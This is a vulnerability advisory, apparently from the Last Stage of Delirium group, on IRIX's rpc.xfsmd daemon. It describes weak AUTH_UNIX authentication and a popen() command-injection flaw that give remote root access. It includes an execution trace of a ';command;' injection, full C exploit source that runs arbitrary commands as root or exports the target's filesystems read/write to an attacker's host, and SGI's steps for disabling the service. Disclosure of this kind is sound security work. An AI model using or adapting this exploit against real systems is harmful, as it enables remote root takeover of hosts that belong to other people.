|
COMMAND rpc.xfsmd gives remote root access SYSTEMS AFFECTED IRIX operating system starting from version 6.2 to 6.5.16 (after full OS installation). PROBLEM In Last Stage of Delirium Research Group [http://lsd-pl.net] advisory : This daemon provides functionality related with xfs file systems and disk volumes (xlv) management. Xfsmd handles requests for file system creation, mounting and unmounting. Through xfsmd, file systems\' parameters can be modified as well as the whole partitions can be managed. Xfsmd is registered in IRIX operating system as RPC service number 391016. There are multiple vulnerabilities in the xfsmd service. Below you will find the detailed descriptions for all of them. 1. Weak authentication The first problem with xfsmd service is its weak RPC authentication scheme that is based on AUTH_UNIX RPC type. Such an authentication scheme can be easily bypassed what in result creates the possibility to remotely call potentially dangerous RPC functions, the ones that would allow to mount, unomunt, create, delete or modify xfs file systems on a vulnerable host. The possibility to perform such actions in the Unix system is obviously equivalent to gaining root user privileges. In our proof of concept code for the rpc.xfsmd, weak RPC authentication scheme is exploited by forcing xfsmd to export any file system with read and write privileges for everyone. Specifically, a call to xfsexport_1() RPC function is made in order to accomplish this goal. Besides this function, there are several others that can be called remotely by an attacker after bypassing AUTH_UNIX authentication scheme. Below, we present some of them and provide brief description of the action that can be performed upon their use. xfscreate_1() - allows for the creation of new file systems xfsedit_1() - allows for modification of a given file systems\' parameters xfsexport_1() - allows to export a given file system xfsmount_1() - allows to mount a given file system xfsdelete_1() - allows to delete a given file system 2. popen() vulnerabilities The other vulnerability that we have found in xfsmd service is the result of bad coding practice and the way popen() function is called throughout the xfsmd code. Xfsmd RPC functions use the popen() call for invoking several external programs, that provide it with required, file system related functionality. As an argument to the popen() function call, a user provided argument is given without any checks for shell metacharacter, such as \';\' or \'\'\'. In our proof of concept code, the rpc.xfsmd popen() vulnerability is illustrated in a case of RPC xfsexport_1() function call. When xfsexport_1() is invoked, a function call to xfsExportInternal() is made. In xfsExportInternal(), first some checks of user provided parameters are done and if successfull, a call to xfs_export() is made. In this latter call a structure filled with user provided arguments is created and it contains the name of the file system to be exported and options for exportfs command, executed via popen(). In xfs_export(), a call to external program /usr/etc/exportfs is made through the use of popen() function. As export options passed to the called exportfs program come from the user provided arguments, there exist an easy way to execute arbitrary commands on the vulnerable IRIX system. It is only required that the option string for the exportfs command should be constructed according to the \";command\" scheme. For example it could be set to \";touch /tmp/test\" in order to execute \"touch /tmp/test\" command. Below you will find a trace of the xfsmd program execution done with the use of our bptrace tool. It clearly illustrates the above description of the popen() vulnerablity in xfsmd. breakpoint trace [version 1.4] copyright by LAST STAGE OF DELIRIUM 1998 Poland found 624 symbols 624 breakpoints enabled, 0 disabled, 0 aliases ==> attaching process 325621 (/usr/etc/xfsmd) [325621] 0x0fa397b4 1 memset(0x7fff26a0,0,128) [325621] 0x0fa397ac 1 bzero(0x7fff288c,4) [325621] 0x0fa397b4 2 memset(0x7fff288c,0,4) [325621] 0x00421da0 1 xdr_nametype() [325621] 0x0fb055e0 1 xdr_string() [325621] 0x0fa2ea48 1 malloc(38) --------------------- [325621] 0x0040ad40 1 xfsexport_1() --------------------- [325621] 0x0040951c 1 xdr_free() [325621] 0x00421e7c 1 xdr_xfs_result() [325621] 0x00421da0 2 xdr_nametype() [325621] 0x0fb055e0 2 xdr_string() [325621] 0x0fa2f1d8 1 free(0x1001add8) [325621] 0x0fb0516c 1 xdr_int() Weak authenticate function -------------------- [325621] 0x0040a6a4 1 authenticate() -------------------- [325621] 0x0fa2f994 1 gethostname() [325621] 0x0fa37008 1 strtok(\"symul\",\".\") [325621] 0x0fa2e640 1 strcpy(0x7fff1610,\"symul\") [325621] 0x0fa4b0d0 1 getdomainname() [325621] 0x0fa2fe38 1 strcat(\"symul\",\".\") [325621] 0x0fa2fe38 2 strcat(\"symul.\",\"\") [325621] 0x0fa34330 1 strcmp(\"symul.\",\"symul.\") ------------------- [325621] 0x0040f3bc 1 xfsExportInternal() ------------------ [325621] 0x0fa3972c 1 strdup(\"XFS_MNT_DIR:/tmp\\nroot:;touch /tmp/test;\") [325621] 0x0fa2e590 2 strlen(\"XFS_MNT_DIR:/tmp\\nroot:;touch /tmp/test;\") [325621] 0x0fa2ea48 2 malloc(38) [325621] 0x0fa2e640 2 strcpy(0x1001add8,\"XFS_MNT_DIR:/tmp\\nroot:;touch /tmp/test;\") [325621] 0x0fa37008 2 strtok(\"XFS_MNT_DIR:/tmp\\nroot:;touch /tmp/test;\",\"\\n\") [325621] 0x004193bc 1 xfsmGetKeyValue() [325621] 0x0fa2e780 1 strchr(\"XFS_MNT_DIR:/tmp\",\':\') [325621] 0x0fa34330 2 strcmp(\"/tmp\",\"false\") [325621] 0x0fa34330 3 strcmp(\"/tmp\",\"FALSE\") [325621] 0x0fa34330 4 strcmp(\"XFS_MNT_DIR\",\"XFS_FS_NAME\") [325621] 0x0fa2ea48 3 malloc(38) ..... [325621] 0x0fa2e640 3 strcpy(0x1001a828,\"XFS_MNT_DIR:/tmp\\nroot:;touch /tmp/test;\") [325621] 0x0fa37008 5 strtok(\"XFS_MNT_DIR:/tmp\\nroot:;touch /tmp/test;\",\"\\n\") [325621] 0x004193bc 3 xfsmGetKeyValue() [325621] 0x0fa2e780 3 strchr(\"XFS_MNT_DIR:/tmp\",\':\') [325621] 0x0fa34330 11 strcmp(\"XFS_MNT_DIR\",\"rw,root\") [325621] 0x0040ca98 1 create_option_str() [325621] 0x0fa34330 12 strcmp(\"XFS_MNT_DIR\",\"rw\") [325621] 0x0fa34330 13 strcmp(\"XFS_MNT_DIR\",\"root\") ..... [325621] 0x0fa34498 1 realloc(0x100173c0,25) [325621] 0x0fa2fe38 4 strcat(\"root=;touch /tmp/test;,\",\"rw,\") [325621] 0x0fa2f9d4 1 strrchr(\"root=;touch /tmp/test;,rw,\",\',\') [325621] 0x0fa397b4 3 memset(0x1001a8a7,0,1) [325621] 0x0fa2f1d8 2 free(0x1001a828) --------------------------- [325621] 0x00414904 1 xfs_export() --------------------------- [325621] 0x0041a750 1 isvalidmntpt() [325621] 0x0fa2e780 5 strchr(\"/tmp\",\' \') [325621] 0x0fa4d628 3 strstr(\"/tmp\",\"/./\") [325621] 0x0fa4d628 4 strstr(\"/tmp\",\"/../\") [325621] 0x0fa31494 1 strncmp(\"/tmp\",\"/tmp/\",5) [325621] 0x0fa2e1a0 1 stat(\"/tmp\",0x7ffef314) [325621] 0x0041457c 1 export_fs() [325621] 0x0fa3190c 2 sprintf(0x7ffef2a0,\"/usr/etc/exportfs -i -o %s %s 2>&1\",...) [325621] 0x0fa2e590 8 strlen(\"root=;touch /tmp/test;,rw\") [325621] 0x0fa2e590 9 strlen(\"/tmp\") popen(\"/usr/etc/exportfs -i -o /tmp ;touch /tmp/test\") --------------------------- [325621] 0x00416890 1 xfs_popen() --------------------------- [325621] 0x0fa3ef74 1 pipe(2147406432) [325621] 0x0fa3dd98 1 fork() ==> process 325621 forking to 325091 ==> attaching process 325091 (/usr/etc/xfsmd) [325091] 0x0fa2e290 1 close(4) [325621] 0x0fa2e290 1 close(5) [325091] 0x0fa2e290 2 close(1) [325621] 0x0fa56c44 1 fdopen() [325091] 0x004098f0 1 fcntl(5,F_DUPFD,0x00000001) [325621] 0x0fa307fc 1 fgets() [325091] 0x0fa2e290 3 close(2) [325621] 0x0fa2ea48 5 malloc(4104) [325091] 0x0fa2e290 4 close(5) [325621] 0x0fa34b0c 1 _cerror() [325091] 0x00409904 1 execl(\"/sbin/sh\",\"sh\",...) ==> process 325091 executing /sbin/sh found 368 symbols 368 breakpoints enabled, 0 disabled, 0 aliases ==> process 325091 forking to 325665 ==> attaching process 325665 (/sbin/sh) ==> process 325665 executing /usr/etc/exportfs found 68 symbols 68 breakpoints enabled, 0 disabled, 0 aliases [325665] 0x100045c8 1 __istart() [325665] 0x0fa33780 1 __readenv_sigfpe() [325665] 0x10001b2c 1 main() [325665] 0x10003364 1 parseargs() [325665] 0x10001dbc 1 printexports() [325665] 0x0fa33bf4 1 fopen(\"/etc/xtab\",\"r\") [325665] 0x0fa8cd4c 1 getexportent() ........ [325621] 0x0fa2e640 5 strcpy(0x100173c0,\"nothing exported\\n\") [325621] 0x0fa307fc 2 fgets() ==> process 325665 terminated ==> process 325091 forking to 325653 ==> attaching process 325653 (/sbin/sh) ==> process 325653 executing /bin/touch found 24 symbols 24 breakpoints enabled, 0 disabled, 0 aliases [325653] 0x0fa5cb88 1 close(4) [325653] 0x100023e0 1 __istart() [325653] 0x0fa33780 1 __readenv_sigfpe() [325653] 0x10001ac8 1 main() ........ [325653] 0x0fa5cdbc 1 creat(\"/tmp/test\",438) [325653] 0x0fa5cb88 2 close(4) [325653] 0x0fa58954 2 stat64() [325653] 0x0fa56a2c 1 utime() [325653] 0x0fa363b8 1 exit(0) ==> process 325653 terminated Below, several other RPC functions are listed which can be successfully exploited to run arbitrary commands with root user privileges on a remote IRIX system through the bad use of popen() function call in xfsmd: xfscreate_1() - new file system creation xfsexport_1() - file system export xfsunexport_1() - file system unexport xfsmount_1() - file system mount xfsunmount_1() - file system unmount The proof of concept code illustrating the above mentioned IRIX Xfsmd vulnerabilities can be found on our website at the following address: http://lsd-pl.net/files/get?IRIX/irx_xfsmd /*## copyright LAST STAGE OF DELIRIUM Sep 1999 poland *://lsd-pl.net/ #*/ /*## xfsmd #*/ /* this code forces xfsmd to execute any command on remote IRIX host or */ /* to export any file system from it with read/write privileges. */ /* the exploit requires that DNS is properly configured on an attacked */ /* host. additionally, if the file systems are to be exported from a */ /* vulnerable system, it must have NFS subsystem running. */ /* example usage: */ /* xfsmd address -c \"touch /etc/lsd\" */ /* (executes \"touch /etc/lsd\" command as root user on a vulnerable host) */ /* xfsmd address -e 10.0.0.1 -d \"/\" */ /* (exports / filesystem to the 10.0.0.1 host with rw privileges) */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <rpc/rpc.h> #include <netdb.h> #include <stdio.h> #include <errno.h> #define XFS_PROG 391016 #define XFS_VERS 1 #define XFS_EXPORT 13 typedef char *req_t; typedef struct{char *str1;int errno;}res_t; bool_t xdr_req(XDR *xdrs,req_t *objp){ if(!xdr_string(xdrs,objp,~0)) return(FALSE); return(TRUE); } bool_t xdr_res(XDR *xdrs,res_t *objp){ if(!xdr_string(xdrs,&objp->str1,~0)) return(FALSE); if(!xdr_int(xdrs,&objp->errno)) return(FALSE); return(TRUE); } main(int argc,char **argv){ char command[10000],*h,*cmd,*hst=NULL,*dir=\"/etc\"; int i,port=0,flag=0,c; CLIENT *cl;enum clnt_stat stat; struct hostent *hp; struct sockaddr_in adr; struct timeval tm={10,0}; req_t req; res_t res; printf(\"copyright LAST STAGE OF DELIRIUM Sep 1999 poland //lsd-pl.net/\\n\"); printf(\"rpc.xfsmd for irix 6.2 6.3 6.4 6.5 6.5.16 IP:all\\n\\n\"); if(argc<3){ printf(\"usage: %s address -c \\\"command\\\" [-p port]\\n\",argv[0]); printf(\" %s address -e address [-d dir] [-p port]\\n\",argv[0]); exit(-1); } while((c=getopt(argc-1,&argv[1],\"c:p:e:d:\"))!=-1){ switch(c){ case \'c\': flag=0;cmd=optarg;break; case \'e\': flag=1;hst=optarg;break; case \'d\': dir=optarg;break; case \'p\': port=atoi(optarg); } } req=command; if(!flag){ printf(\"executing %s command... \",cmd); sprintf(req,\"XFS_MNT_DIR:/tmp\\nroot:;%s;\",cmd); }else{ printf(\"exporting %s directory to %s... \",dir,hst); sprintf(req,\"XFS_FS_NAME:%s\\nroot:%s\\n\",dir,hst); } adr.sin_family=AF_INET; adr.sin_port=htons(port); if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){ if((hp=gethostbyname(argv[1]))==NULL){ errno=EADDRNOTAVAIL;perror(\"error\");exit(-1); } memcpy(&adr.sin_addr.s_addr,hp->h_addr,4); }else{ if((hp=gethostbyaddr((char*)&adr.sin_addr.s_addr,4,AF_INET))==NULL){ errno=EADDRNOTAVAIL;perror(\"error\");exit(-1); } } if((h=(char*)strchr(hp->h_name,\'.\'))!=NULL) *(h+1)=0; else strcat(hp->h_name,\".\"); i=RPC_ANYSOCK; if(!(cl=clnttcp_create(&adr,XFS_PROG,XFS_VERS,&i,0,0))){ clnt_pcreateerror(\"error\");exit(-1); } cl->cl_auth=authunix_create(hp->h_name,0,0,0,NULL); stat=clnt_call(cl,XFS_EXPORT,xdr_req,(void*)&req,xdr_res,(void*)&res,tm); if(stat!=RPC_SUCCESS) {clnt_perror(cl,\"error\");exit(-1);} printf(\"%s\\n\",(!flag)?\"ok\":((!res.errno)?\"ok\":\"failed\")); } SOLUTION SGI was informed about this issue and assigned this bug number 858714. There is no effective workaround available for these problems. SGI recommends either disabling or uninstalling the product. To disable the product from running, perform the following steps: # killall /usr/etc/xfsmd # vi /etc/inetd.conf Look for a line in inetd.conf that looks like this: sgi_xfsmd/1 stream rpc/tcp wait root ?/usr/etc/xfsmd xfsmd ...and comment it out by putting a \"#\" at the beginning of the line: #sgi_xfsmd/1 stream rpc/tcp wait root ?/usr/etc/xfsmd xfsmd ...or simply remove the line from the file. # killall -HUP inetd To remove the product from the system, perform the following command: # versions remove eoe.sw.xfsmserv